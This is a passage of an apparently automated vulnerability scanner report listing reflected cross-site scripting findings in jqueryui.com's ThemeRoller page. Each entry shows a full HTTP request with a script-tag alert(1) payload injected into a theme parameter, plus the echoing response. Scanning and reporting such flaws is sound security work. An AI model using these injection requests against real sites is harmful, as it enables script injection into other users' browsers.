bgImgOpacityError=95&borderColorError=cd0a0a&fcError=cd0a0a&iconColorError=cd0a0a&bgColorOverlay=aaaaaa&bgTextureOverlay=01_flat.png&bgImgOpacityOverlay=0&opacityOverlay=30&bgColorShadow=aaaaaa&bgTextureShadow=01_flat.png&bgImgOpacityShadow=0&opacityShadow=30&thicknessShadow=8px&offsetTopShadow=-8px&offsetLeftShadow=-8px&cornerRadiusShadow=8px HTTP/1.1
Host: jqueryui.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Server: nginx/0.7.62
Date: Wed, 09 Feb 2011 12:26:29 GMT
Content-Type: text/html
Connection: close
X-Powered-By: PHP/5.2.4-2ubuntu5.10
X-Served-By: www3
X-Proxy: 1
Content-Length: 120001

<!DOCTYPE html>
<html>
<head>
   <meta charset="UTF-8" />
   <title>jQuery UI - ThemeRoller</title>

   <meta name="keywords" content="jquery,user interface,ui,widgets,interaction,javascript" />
   <meta nam
...[SNIP]...
href="/themeroller/css/parseTheme.css.php?ctl=themeroller&ffDefault=Verdana,Arial,sans-serif&fwDefault=normal&fsDefault=1.1em&cornerRadius=4px&bgColorHeader=cccccc&bgTextureHeader=03_highlight_soft.png56912"><script>alert(1)</script>cb967ee3044&bgImgOpacityHeader=75&borderColorHeader=aaaaaa&fcHeader=222222&iconColorHeader=222222&bgColorContent=ffffff&bgTextureContent=01_flat.png&bgImgOpacityContent=75&borderColorContent=aaaaaa&fcContent=2222
...[SNIP]...

1.137. http://jqueryui.com/themeroller/ [bgTextureHighlight parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://jqueryui.com
Path:	/themeroller/

Issue detail

The value of the bgTextureHighlight request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload ef5cf"><script>alert(1)</script>848687395fd was submitted in the bgTextureHighlight parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /themeroller/?ffDefault=Verdana,Arial,sans-serif&fwDefault=normal&fsDefault=1.1em&cornerRadius=4px&bgColorHeader=cccccc&bgTextureHeader=03_highlight_soft.png&bgImgOpacityHeader=75&borderColorHeader=aaaaaa&fcHeader=222222&iconColorHeader=222222&bgColorContent=ffffff&bgTextureContent=01_flat.png&bgImgOpacityContent=75&borderColorContent=aaaaaa&fcContent=222222&iconColorContent=222222&bgColorDefault=e6e6e6&bgTextureDefault=02_glass.png&bgImgOpacityDefault=75&borderColorDefault=d3d3d3&fcDefault=555555&iconColorDefault=888888&bgColorHover=dadada&bgTextureHover=02_glass.png&bgImgOpacityHover=75&borderColorHover=999999&fcHover=212121&iconColorHover=454545&bgColorActive=ffffff&bgTextureActive=02_glass.png&bgImgOpacityActive=65&borderColorActive=aaaaaa&fcActive=212121&iconColorActive=454545&bgColorHighlight=fbf9ee&bgTextureHighlight=02_glass.pngef5cf"><script>alert(1)</script>848687395fd&bgImgOpacityHighlight=55&borderColorHighlight=fcefa1&fcHighlight=363636&iconColorHighlight=2e83ff&bgColorError=fef1ec&bgTextureError=02_glass.png&bgImgOpacityError=95&borderColorError=cd0a0a&fcError=cd0a0a&iconColorError=cd0a0a&bgColorOverlay=aaaaaa&bgTextureOverlay=01_flat.png&bgImgOpacityOverlay=0&opacityOverlay=30&bgColorShadow=aaaaaa&bgTextureShadow=01_flat.png&bgImgOpacityShadow=0&opacityShadow=30&thicknessShadow=8px&offsetTopShadow=-8px&offsetLeftShadow=-8px&cornerRadiusShadow=8px HTTP/1.1
Host: jqueryui.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Server: nginx/0.7.62
Date: Wed, 09 Feb 2011 12:26:46 GMT
Content-Type: text/html
Connection: close
X-Powered-By: PHP/5.2.4-2ubuntu5.10
X-Served-By: www4
X-Proxy: 1
Content-Length: 120001

<!DOCTYPE html>
<html>
<head>
   <meta charset="UTF-8" />
   <title>jQuery UI - ThemeRoller</title>

   <meta name="keywords" content="jquery,user interface,ui,widgets,interaction,javascript" />
   <meta nam
...[SNIP]...
er=454545&bgColorActive=ffffff&bgTextureActive=02_glass.png&bgImgOpacityActive=65&borderColorActive=aaaaaa&fcActive=212121&iconColorActive=454545&bgColorHighlight=fbf9ee&bgTextureHighlight=02_glass.pngef5cf"><script>alert(1)</script>848687395fd&bgImgOpacityHighlight=55&borderColorHighlight=fcefa1&fcHighlight=363636&iconColorHighlight=2e83ff&bgColorError=fef1ec&bgTextureError=02_glass.png&bgImgOpacityError=95&borderColorError=cd0a0a&fcError=c
...[SNIP]...

1.138. http://jqueryui.com/themeroller/ [bgTextureHover parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://jqueryui.com
Path:	/themeroller/

Issue detail

The value of the bgTextureHover request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 8f226"><script>alert(1)</script>12c5cb4ea52 was submitted in the bgTextureHover parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /themeroller/?ffDefault=Verdana,Arial,sans-serif&fwDefault=normal&fsDefault=1.1em&cornerRadius=4px&bgColorHeader=cccccc&bgTextureHeader=03_highlight_soft.png&bgImgOpacityHeader=75&borderColorHeader=aaaaaa&fcHeader=222222&iconColorHeader=222222&bgColorContent=ffffff&bgTextureContent=01_flat.png&bgImgOpacityContent=75&borderColorContent=aaaaaa&fcContent=222222&iconColorContent=222222&bgColorDefault=e6e6e6&bgTextureDefault=02_glass.png&bgImgOpacityDefault=75&borderColorDefault=d3d3d3&fcDefault=555555&iconColorDefault=888888&bgColorHover=dadada&bgTextureHover=02_glass.png8f226"><script>alert(1)</script>12c5cb4ea52&bgImgOpacityHover=75&borderColorHover=999999&fcHover=212121&iconColorHover=454545&bgColorActive=ffffff&bgTextureActive=02_glass.png&bgImgOpacityActive=65&borderColorActive=aaaaaa&fcActive=212121&iconColorActive=454545&bgColorHighlight=fbf9ee&bgTextureHighlight=02_glass.png&bgImgOpacityHighlight=55&borderColorHighlight=fcefa1&fcHighlight=363636&iconColorHighlight=2e83ff&bgColorError=fef1ec&bgTextureError=02_glass.png&bgImgOpacityError=95&borderColorError=cd0a0a&fcError=cd0a0a&iconColorError=cd0a0a&bgColorOverlay=aaaaaa&bgTextureOverlay=01_flat.png&bgImgOpacityOverlay=0&opacityOverlay=30&bgColorShadow=aaaaaa&bgTextureShadow=01_flat.png&bgImgOpacityShadow=0&opacityShadow=30&thicknessShadow=8px&offsetTopShadow=-8px&offsetLeftShadow=-8px&cornerRadiusShadow=8px HTTP/1.1
Host: jqueryui.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Server: nginx/0.7.62
Date: Wed, 09 Feb 2011 12:26:43 GMT
Content-Type: text/html
Connection: close
X-Powered-By: PHP/5.2.4-2ubuntu5.10
X-Served-By: www3
X-Proxy: 1
Content-Length: 120001

<!DOCTYPE html>
<html>
<head>
   <meta charset="UTF-8" />
   <title>jQuery UI - ThemeRoller</title>

   <meta name="keywords" content="jquery,user interface,ui,widgets,interaction,javascript" />
   <meta nam
...[SNIP]...
tent=222222&bgColorDefault=e6e6e6&bgTextureDefault=02_glass.png&bgImgOpacityDefault=75&borderColorDefault=d3d3d3&fcDefault=555555&iconColorDefault=888888&bgColorHover=dadada&bgTextureHover=02_glass.png8f226"><script>alert(1)</script>12c5cb4ea52&bgImgOpacityHover=75&borderColorHover=999999&fcHover=212121&iconColorHover=454545&bgColorActive=ffffff&bgTextureActive=02_glass.png&bgImgOpacityActive=65&borderColorActive=aaaaaa&fcActive=212121&iconC
...[SNIP]...

1.139. http://jqueryui.com/themeroller/ [bgTextureOverlay parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://jqueryui.com
Path:	/themeroller/

Issue detail

The value of the bgTextureOverlay request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload a5920"><script>alert(1)</script>0da440e482d was submitted in the bgTextureOverlay parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /themeroller/?ffDefault=Verdana,Arial,sans-serif&fwDefault=normal&fsDefault=1.1em&cornerRadius=4px&bgColorHeader=cccccc&bgTextureHeader=03_highlight_soft.png&bgImgOpacityHeader=75&borderColorHeader=aaaaaa&fcHeader=222222&iconColorHeader=222222&bgColorContent=ffffff&bgTextureContent=01_flat.png&bgImgOpacityContent=75&borderColorContent=aaaaaa&fcContent=222222&iconColorContent=222222&bgColorDefault=e6e6e6&bgTextureDefault=02_glass.png&bgImgOpacityDefault=75&borderColorDefault=d3d3d3&fcDefault=555555&iconColorDefault=888888&bgColorHover=dadada&bgTextureHover=02_glass.png&bgImgOpacityHover=75&borderColorHover=999999&fcHover=212121&iconColorHover=454545&bgColorActive=ffffff&bgTextureActive=02_glass.png&bgImgOpacityActive=65&borderColorActive=aaaaaa&fcActive=212121&iconColorActive=454545&bgColorHighlight=fbf9ee&bgTextureHighlight=02_glass.png&bgImgOpacityHighlight=55&borderColorHighlight=fcefa1&fcHighlight=363636&iconColorHighlight=2e83ff&bgColorError=fef1ec&bgTextureError=02_glass.png&bgImgOpacityError=95&borderColorError=cd0a0a&fcError=cd0a0a&iconColorError=cd0a0a&bgColorOverlay=aaaaaa&bgTextureOverlay=01_flat.pnga5920"><script>alert(1)</script>0da440e482d&bgImgOpacityOverlay=0&opacityOverlay=30&bgColorShadow=aaaaaa&bgTextureShadow=01_flat.png&bgImgOpacityShadow=0&opacityShadow=30&thicknessShadow=8px&offsetTopShadow=-8px&offsetLeftShadow=-8px&cornerRadiusShadow=8px HTTP/1.1
Host: jqueryui.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Server: nginx/0.7.62
Date: Wed, 09 Feb 2011 12:26:48 GMT
Content-Type: text/html
Connection: close
X-Powered-By: PHP/5.2.4-2ubuntu5.10
X-Served-By: www3
X-Proxy: 1
Content-Length: 120001

<!DOCTYPE html>
<html>
<head>
   <meta charset="UTF-8" />
   <title>jQuery UI - ThemeRoller</title>

   <meta name="keywords" content="jquery,user interface,ui,widgets,interaction,javascript" />
   <meta nam
...[SNIP]...
olorHighlight=2e83ff&bgColorError=fef1ec&bgTextureError=02_glass.png&bgImgOpacityError=95&borderColorError=cd0a0a&fcError=cd0a0a&iconColorError=cd0a0a&bgColorOverlay=aaaaaa&bgTextureOverlay=01_flat.pnga5920"><script>alert(1)</script>0da440e482d&bgImgOpacityOverlay=0&opacityOverlay=30&bgColorShadow=aaaaaa&bgTextureShadow=01_flat.png&bgImgOpacityShadow=0&opacityShadow=30&thicknessShadow=8px&offsetTopShadow=-8px&offsetLeftShadow=-8px&cornerRadi
...[SNIP]...

1.140. http://jqueryui.com/themeroller/ [bgTextureShadow parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://jqueryui.com
Path:	/themeroller/

Issue detail

The value of the bgTextureShadow request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 1aed5"><script>alert(1)</script>c7a43f5d90f was submitted in the bgTextureShadow parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /themeroller/?ffDefault=Verdana,Arial,sans-serif&fwDefault=normal&fsDefault=1.1em&cornerRadius=4px&bgColorHeader=cccccc&bgTextureHeader=03_highlight_soft.png&bgImgOpacityHeader=75&borderColorHeader=aaaaaa&fcHeader=222222&iconColorHeader=222222&bgColorContent=ffffff&bgTextureContent=01_flat.png&bgImgOpacityContent=75&borderColorContent=aaaaaa&fcContent=222222&iconColorContent=222222&bgColorDefault=e6e6e6&bgTextureDefault=02_glass.png&bgImgOpacityDefault=75&borderColorDefault=d3d3d3&fcDefault=555555&iconColorDefault=888888&bgColorHover=dadada&bgTextureHover=02_glass.png&bgImgOpacityHover=75&borderColorHover=999999&fcHover=212121&iconColorHover=454545&bgColorActive=ffffff&bgTextureActive=02_glass.png&bgImgOpacityActive=65&borderColorActive=aaaaaa&fcActive=212121&iconColorActive=454545&bgColorHighlight=fbf9ee&bgTextureHighlight=02_glass.png&bgImgOpacityHighlight=55&borderColorHighlight=fcefa1&fcHighlight=363636&iconColorHighlight=2e83ff&bgColorError=fef1ec&bgTextureError=02_glass.png&bgImgOpacityError=95&borderColorError=cd0a0a&fcError=cd0a0a&iconColorError=cd0a0a&bgColorOverlay=aaaaaa&bgTextureOverlay=01_flat.png&bgImgOpacityOverlay=0&opacityOverlay=30&bgColorShadow=aaaaaa&bgTextureShadow=01_flat.png1aed5"><script>alert(1)</script>c7a43f5d90f&bgImgOpacityShadow=0&opacityShadow=30&thicknessShadow=8px&offsetTopShadow=-8px&offsetLeftShadow=-8px&cornerRadiusShadow=8px HTTP/1.1
Host: jqueryui.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Server: nginx/0.7.62
Date: Wed, 09 Feb 2011 12:26:49 GMT
Content-Type: text/html
Connection: close
X-Powered-By: PHP/5.2.4-2ubuntu5.10
X-Served-By: www4
X-Proxy: 1
Content-Length: 120001

<!DOCTYPE html>
<html>
<head>
   <meta charset="UTF-8" />
   <title>jQuery UI - ThemeRoller</title>

   <meta name="keywords" content="jquery,user interface,ui,widgets,interaction,javascript" />
   <meta nam
...[SNIP]...
&borderColorError=cd0a0a&fcError=cd0a0a&iconColorError=cd0a0a&bgColorOverlay=aaaaaa&bgTextureOverlay=01_flat.png&bgImgOpacityOverlay=0&opacityOverlay=30&bgColorShadow=aaaaaa&bgTextureShadow=01_flat.png1aed5"><script>alert(1)</script>c7a43f5d90f&bgImgOpacityShadow=0&opacityShadow=30&thicknessShadow=8px&offsetTopShadow=-8px&offsetLeftShadow=-8px&cornerRadiusShadow=8px" type="text/css" media="all" />
...[SNIP]...

1.141. http://jqueryui.com/themeroller/ [borderColorActive parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://jqueryui.com
Path:	/themeroller/

Issue detail

The value of the borderColorActive request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 14e26"><script>alert(1)</script>dd6062138ed was submitted in the borderColorActive parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /themeroller/?ffDefault=Verdana,Arial,sans-serif&fwDefault=normal&fsDefault=1.1em&cornerRadius=4px&bgColorHeader=cccccc&bgTextureHeader=03_highlight_soft.png&bgImgOpacityHeader=75&borderColorHeader=aaaaaa&fcHeader=222222&iconColorHeader=222222&bgColorContent=ffffff&bgTextureContent=01_flat.png&bgImgOpacityContent=75&borderColorContent=aaaaaa&fcContent=222222&iconColorContent=222222&bgColorDefault=e6e6e6&bgTextureDefault=02_glass.png&bgImgOpacityDefault=75&borderColorDefault=d3d3d3&fcDefault=555555&iconColorDefault=888888&bgColorHover=dadada&bgTextureHover=02_glass.png&bgImgOpacityHover=75&borderColorHover=999999&fcHover=212121&iconColorHover=454545&bgColorActive=ffffff&bgTextureActive=02_glass.png&bgImgOpacityActive=65&borderColorActive=aaaaaa14e26"><script>alert(1)</script>dd6062138ed&fcActive=212121&iconColorActive=454545&bgColorHighlight=fbf9ee&bgTextureHighlight=02_glass.png&bgImgOpacityHighlight=55&borderColorHighlight=fcefa1&fcHighlight=363636&iconColorHighlight=2e83ff&bgColorError=fef1ec&bgTextureError=02_glass.png&bgImgOpacityError=95&borderColorError=cd0a0a&fcError=cd0a0a&iconColorError=cd0a0a&bgColorOverlay=aaaaaa&bgTextureOverlay=01_flat.png&bgImgOpacityOverlay=0&opacityOverlay=30&bgColorShadow=aaaaaa&bgTextureShadow=01_flat.png&bgImgOpacityShadow=0&opacityShadow=30&thicknessShadow=8px&offsetTopShadow=-8px&offsetLeftShadow=-8px&cornerRadiusShadow=8px HTTP/1.1
Host: jqueryui.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Server: nginx/0.7.62
Date: Wed, 09 Feb 2011 12:26:45 GMT
Content-Type: text/html
Connection: close
X-Powered-By: PHP/5.2.4-2ubuntu5.10
X-Served-By: www3
X-Proxy: 1
Content-Length: 120067

<!DOCTYPE html>
<html>
<head>
   <meta charset="UTF-8" />
   <title>jQuery UI - ThemeRoller</title>

   <meta name="keywords" content="jquery,user interface,ui,widgets,interaction,javascript" />
   <meta nam
...[SNIP]...
tureHover=02_glass.png&bgImgOpacityHover=75&borderColorHover=999999&fcHover=212121&iconColorHover=454545&bgColorActive=ffffff&bgTextureActive=02_glass.png&bgImgOpacityActive=65&borderColorActive=aaaaaa14e26"><script>alert(1)</script>dd6062138ed&fcActive=212121&iconColorActive=454545&bgColorHighlight=fbf9ee&bgTextureHighlight=02_glass.png&bgImgOpacityHighlight=55&borderColorHighlight=fcefa1&fcHighlight=363636&iconColorHighlight=2e83ff&bgColor
...[SNIP]...

1.142. http://jqueryui.com/themeroller/ [borderColorContent parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://jqueryui.com
Path:	/themeroller/

Issue detail

The value of the borderColorContent request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload d0563"><script>alert(1)</script>fc3d1d00bb8 was submitted in the borderColorContent parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /themeroller/?ffDefault=Verdana,Arial,sans-serif&fwDefault=normal&fsDefault=1.1em&cornerRadius=4px&bgColorHeader=cccccc&bgTextureHeader=03_highlight_soft.png&bgImgOpacityHeader=75&borderColorHeader=aaaaaa&fcHeader=222222&iconColorHeader=222222&bgColorContent=ffffff&bgTextureContent=01_flat.png&bgImgOpacityContent=75&borderColorContent=aaaaaad0563"><script>alert(1)</script>fc3d1d00bb8&fcContent=222222&iconColorContent=222222&bgColorDefault=e6e6e6&bgTextureDefault=02_glass.png&bgImgOpacityDefault=75&borderColorDefault=d3d3d3&fcDefault=555555&iconColorDefault=888888&bgColorHover=dadada&bgTextureHover=02_glass.png&bgImgOpacityHover=75&borderColorHover=999999&fcHover=212121&iconColorHover=454545&bgColorActive=ffffff&bgTextureActive=02_glass.png&bgImgOpacityActive=65&borderColorActive=aaaaaa&fcActive=212121&iconColorActive=454545&bgColorHighlight=fbf9ee&bgTextureHighlight=02_glass.png&bgImgOpacityHighlight=55&borderColorHighlight=fcefa1&fcHighlight=363636&iconColorHighlight=2e83ff&bgColorError=fef1ec&bgTextureError=02_glass.png&bgImgOpacityError=95&borderColorError=cd0a0a&fcError=cd0a0a&iconColorError=cd0a0a&bgColorOverlay=aaaaaa&bgTextureOverlay=01_flat.png&bgImgOpacityOverlay=0&opacityOverlay=30&bgColorShadow=aaaaaa&bgTextureShadow=01_flat.png&bgImgOpacityShadow=0&opacityShadow=30&thicknessShadow=8px&offsetTopShadow=-8px&offsetLeftShadow=-8px&cornerRadiusShadow=8px HTTP/1.1
Host: jqueryui.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Server: nginx/0.7.62
Date: Wed, 09 Feb 2011 12:26:37 GMT
Content-Type: text/html
Connection: close
X-Powered-By: PHP/5.2.4-2ubuntu5.10
X-Served-By: www3
X-Proxy: 1
Content-Length: 120067

<!DOCTYPE html>
<html>
<head>
   <meta charset="UTF-8" />
   <title>jQuery UI - ThemeRoller</title>

   <meta name="keywords" content="jquery,user interface,ui,widgets,interaction,javascript" />
   <meta nam
...[SNIP]...
hlight_soft.png&bgImgOpacityHeader=75&borderColorHeader=aaaaaa&fcHeader=222222&iconColorHeader=222222&bgColorContent=ffffff&bgTextureContent=01_flat.png&bgImgOpacityContent=75&borderColorContent=aaaaaad0563"><script>alert(1)</script>fc3d1d00bb8&fcContent=222222&iconColorContent=222222&bgColorDefault=e6e6e6&bgTextureDefault=02_glass.png&bgImgOpacityDefault=75&borderColorDefault=d3d3d3&fcDefault=555555&iconColorDefault=888888&bgColorHover=dada
...[SNIP]...

1.143. http://jqueryui.com/themeroller/ [borderColorDefault parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://jqueryui.com
Path:	/themeroller/

Issue detail

The value of the borderColorDefault request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 982d9"><script>alert(1)</script>55b8ae64af1 was submitted in the borderColorDefault parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /themeroller/?ffDefault=Verdana,Arial,sans-serif&fwDefault=normal&fsDefault=1.1em&cornerRadius=4px&bgColorHeader=cccccc&bgTextureHeader=03_highlight_soft.png&bgImgOpacityHeader=75&borderColorHeader=aaaaaa&fcHeader=222222&iconColorHeader=222222&bgColorContent=ffffff&bgTextureContent=01_flat.png&bgImgOpacityContent=75&borderColorContent=aaaaaa&fcContent=222222&iconColorContent=222222&bgColorDefault=e6e6e6&bgTextureDefault=02_glass.png&bgImgOpacityDefault=75&borderColorDefault=d3d3d3982d9"><script>alert(1)</script>55b8ae64af1&fcDefault=555555&iconColorDefault=888888&bgColorHover=dadada&bgTextureHover=02_glass.png&bgImgOpacityHover=75&borderColorHover=999999&fcHover=212121&iconColorHover=454545&bgColorActive=ffffff&bgTextureActive=02_glass.png&bgImgOpacityActive=65&borderColorActive=aaaaaa&fcActive=212121&iconColorActive=454545&bgColorHighlight=fbf9ee&bgTextureHighlight=02_glass.png&bgImgOpacityHighlight=55&borderColorHighlight=fcefa1&fcHighlight=363636&iconColorHighlight=2e83ff&bgColorError=fef1ec&bgTextureError=02_glass.png&bgImgOpacityError=95&borderColorError=cd0a0a&fcError=cd0a0a&iconColorError=cd0a0a&bgColorOverlay=aaaaaa&bgTextureOverlay=01_flat.png&bgImgOpacityOverlay=0&opacityOverlay=30&bgColorShadow=aaaaaa&bgTextureShadow=01_flat.png&bgImgOpacityShadow=0&opacityShadow=30&thicknessShadow=8px&offsetTopShadow=-8px&offsetLeftShadow=-8px&cornerRadiusShadow=8px HTTP/1.1
Host: jqueryui.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Server: nginx/0.7.62
Date: Wed, 09 Feb 2011 12:26:42 GMT
Content-Type: text/html
Connection: close
X-Powered-By: PHP/5.2.4-2ubuntu5.10
X-Served-By: www3
X-Proxy: 1
Content-Length: 120067

<!DOCTYPE html>
<html>
<head>
   <meta charset="UTF-8" />
   <title>jQuery UI - ThemeRoller</title>

   <meta name="keywords" content="jquery,user interface,ui,widgets,interaction,javascript" />
   <meta nam
...[SNIP]...
1_flat.png&bgImgOpacityContent=75&borderColorContent=aaaaaa&fcContent=222222&iconColorContent=222222&bgColorDefault=e6e6e6&bgTextureDefault=02_glass.png&bgImgOpacityDefault=75&borderColorDefault=d3d3d3982d9"><script>alert(1)</script>55b8ae64af1&fcDefault=555555&iconColorDefault=888888&bgColorHover=dadada&bgTextureHover=02_glass.png&bgImgOpacityHover=75&borderColorHover=999999&fcHover=212121&iconColorHover=454545&bgColorActive=ffffff&bgTextur
...[SNIP]...

1.144. http://jqueryui.com/themeroller/ [borderColorError parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://jqueryui.com
Path:	/themeroller/

Issue detail

The value of the borderColorError request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 4a776"><script>alert(1)</script>659f328534c was submitted in the borderColorError parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /themeroller/?ffDefault=Verdana,Arial,sans-serif&fwDefault=normal&fsDefault=1.1em&cornerRadius=4px&bgColorHeader=cccccc&bgTextureHeader=03_highlight_soft.png&bgImgOpacityHeader=75&borderColorHeader=aaaaaa&fcHeader=222222&iconColorHeader=222222&bgColorContent=ffffff&bgTextureContent=01_flat.png&bgImgOpacityContent=75&borderColorContent=aaaaaa&fcContent=222222&iconColorContent=222222&bgColorDefault=e6e6e6&bgTextureDefault=02_glass.png&bgImgOpacityDefault=75&borderColorDefault=d3d3d3&fcDefault=555555&iconColorDefault=888888&bgColorHover=dadada&bgTextureHover=02_glass.png&bgImgOpacityHover=75&borderColorHover=999999&fcHover=212121&iconColorHover=454545&bgColorActive=ffffff&bgTextureActive=02_glass.png&bgImgOpacityActive=65&borderColorActive=aaaaaa&fcActive=212121&iconColorActive=454545&bgColorHighlight=fbf9ee&bgTextureHighlight=02_glass.png&bgImgOpacityHighlight=55&borderColorHighlight=fcefa1&fcHighlight=363636&iconColorHighlight=2e83ff&bgColorError=fef1ec&bgTextureError=02_glass.png&bgImgOpacityError=95&borderColorError=cd0a0a4a776"><script>alert(1)</script>659f328534c&fcError=cd0a0a&iconColorError=cd0a0a&bgColorOverlay=aaaaaa&bgTextureOverlay=01_flat.png&bgImgOpacityOverlay=0&opacityOverlay=30&bgColorShadow=aaaaaa&bgTextureShadow=01_flat.png&bgImgOpacityShadow=0&opacityShadow=30&thicknessShadow=8px&offsetTopShadow=-8px&offsetLeftShadow=-8px&cornerRadiusShadow=8px HTTP/1.1
Host: jqueryui.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Server: nginx/0.7.62
Date: Wed, 09 Feb 2011 12:26:47 GMT
Content-Type: text/html
Connection: close
X-Powered-By: PHP/5.2.4-2ubuntu5.10
X-Served-By: www4
X-Proxy: 1
Content-Length: 120067

<!DOCTYPE html>
<html>
<head>
   <meta charset="UTF-8" />
   <title>jQuery UI - ThemeRoller</title>

   <meta name="keywords" content="jquery,user interface,ui,widgets,interaction,javascript" />
   <meta nam
...[SNIP]...
_glass.png&bgImgOpacityHighlight=55&borderColorHighlight=fcefa1&fcHighlight=363636&iconColorHighlight=2e83ff&bgColorError=fef1ec&bgTextureError=02_glass.png&bgImgOpacityError=95&borderColorError=cd0a0a4a776"><script>alert(1)</script>659f328534c&fcError=cd0a0a&iconColorError=cd0a0a&bgColorOverlay=aaaaaa&bgTextureOverlay=01_flat.png&bgImgOpacityOverlay=0&opacityOverlay=30&bgColorShadow=aaaaaa&bgTextureShadow=01_flat.png&bgImgOpacityShadow=0&op
...[SNIP]...

1.145. http://jqueryui.com/themeroller/ [borderColorHeader parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://jqueryui.com
Path:	/themeroller/

Issue detail

The value of the borderColorHeader request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload a4b0e"><script>alert(1)</script>698c2ece447 was submitted in the borderColorHeader parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /themeroller/?ffDefault=Verdana,Arial,sans-serif&fwDefault=normal&fsDefault=1.1em&cornerRadius=4px&bgColorHeader=cccccc&bgTextureHeader=03_highlight_soft.png&bgImgOpacityHeader=75&borderColorHeader=aaaaaaa4b0e"><script>alert(1)</script>698c2ece447&fcHeader=222222&iconColorHeader=222222&bgColorContent=ffffff&bgTextureContent=01_flat.png&bgImgOpacityContent=75&borderColorContent=aaaaaa&fcContent=222222&iconColorContent=222222&bgColorDefault=e6e6e6&bgTextureDefault=02_glass.png&bgImgOpacityDefault=75&borderColorDefault=d3d3d3&fcDefault=555555&iconColorDefault=888888&bgColorHover=dadada&bgTextureHover=02_glass.png&bgImgOpacityHover=75&borderColorHover=999999&fcHover=212121&iconColorHover=454545&bgColorActive=ffffff&bgTextureActive=02_glass.png&bgImgOpacityActive=65&borderColorActive=aaaaaa&fcActive=212121&iconColorActive=454545&bgColorHighlight=fbf9ee&bgTextureHighlight=02_glass.png&bgImgOpacityHighlight=55&borderColorHighlight=fcefa1&fcHighlight=363636&iconColorHighlight=2e83ff&bgColorError=fef1ec&bgTextureError=02_glass.png&bgImgOpacityError=95&borderColorError=cd0a0a&fcError=cd0a0a&iconColorError=cd0a0a&bgColorOverlay=aaaaaa&bgTextureOverlay=01_flat.png&bgImgOpacityOverlay=0&opacityOverlay=30&bgColorShadow=aaaaaa&bgTextureShadow=01_flat.png&bgImgOpacityShadow=0&opacityShadow=30&thicknessShadow=8px&offsetTopShadow=-8px&offsetLeftShadow=-8px&cornerRadiusShadow=8px HTTP/1.1
Host: jqueryui.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Server: nginx/0.7.62
Date: Wed, 09 Feb 2011 12:26:29 GMT
Content-Type: text/html
Connection: close
X-Powered-By: PHP/5.2.4-2ubuntu5.10
X-Served-By: www4
X-Proxy: 1
Content-Length: 120067

<!DOCTYPE html>
<html>
<head>
   <meta charset="UTF-8" />
   <title>jQuery UI - ThemeRoller</title>

   <meta name="keywords" content="jquery,user interface,ui,widgets,interaction,javascript" />
   <meta nam
...[SNIP]...
